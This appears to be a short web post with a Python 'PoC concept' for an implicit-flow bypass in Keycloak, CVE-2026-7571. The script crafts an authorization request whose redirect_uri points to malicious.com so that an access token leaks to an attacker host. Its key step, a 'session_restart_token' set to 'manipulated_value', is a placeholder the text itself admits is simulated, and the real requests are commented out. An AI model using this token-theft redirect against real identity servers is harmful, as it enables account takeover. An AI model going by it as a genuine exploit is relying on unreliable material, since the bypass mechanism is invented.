CVE-2026-7571 Keycloak隐式流绕过漏洞

# PoC Concept for CVE-2026-7571 # Note: This is a conceptual demonstration based on the description. # Actual exploitation requires specific knowledge of the target's session handling. import requests # Target configuration target_url = "https://keycloak.example.com/realms/master/protocol/openid-connect/auth" client_id = "target_client" username = "low_priv_user" password = "user_password" # 1. Initiate session to get cookies session = requests.Session() login_data = { "client_id": client_id, "username": username, "password": password, "grant_type": "password" } # Simulate login (simplified) # resp = session.post(f"{target_url}/login", data=login_data) # 2. Manipulate session data to bypass implicit flow disable # In a real exploit, this might involve modifying session cookies or # injecting parameters during the session restart/consent flow. payload = { "client_id": client_id, "response_type": "token", # Attempting implicit flow "redirect_uri": "http://malicious.com/callback", "state": "random_state", # Manipulated data to simulate session restart with changed client config "session_restart_token": "manipulated_value" } print(f"Sending request to {target_url} with manipulated payload...") # 3. Send request # response = session.get(target_url, params=payload) # if "access_token" in response.url or response.history: # print("[+] Potential bypass successful! Token leaked in URL.") # else: # print("[-] Bypass failed or patched.") print("PoC execution logic completed.")